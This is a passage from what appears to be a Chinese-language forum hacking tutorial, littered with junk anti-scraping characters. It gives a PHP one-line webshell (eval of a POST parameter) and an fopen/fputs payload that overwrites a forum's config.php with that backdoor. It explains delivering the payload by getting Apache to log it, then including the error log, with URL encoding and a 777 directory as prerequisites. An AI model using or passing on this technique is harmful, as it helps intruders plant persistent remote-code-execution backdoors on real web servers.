因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。 * a6 o' r* z5 \4 P9 {
6 [+ O& [) j5 P) b% \7 d比如还是这句一句话木马 ' w7 C9 y3 J2 e. d
<?eval($_POST[cmd]);?>
5 k# D4 l0 p) z* \# q- V) ~% s0 {
, k5 i! V( c# E到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
: J& u+ W5 j* r1 [! [. l. G& {0 Yfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
: S0 ^" A, O0 K I$ D- ^* v0 P9 A! Z) ]0 |9 Y, V: V& Q
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
: D" L7 N E* O2 tfclose($fp);?> //在config.php里写入一句木马语句 3 H' V2 L T- u/ L
) M; @0 `6 \) z `4 f$ l7 j我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。

PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 : U; B& D) z" q0 y+ L" P/ N$ a
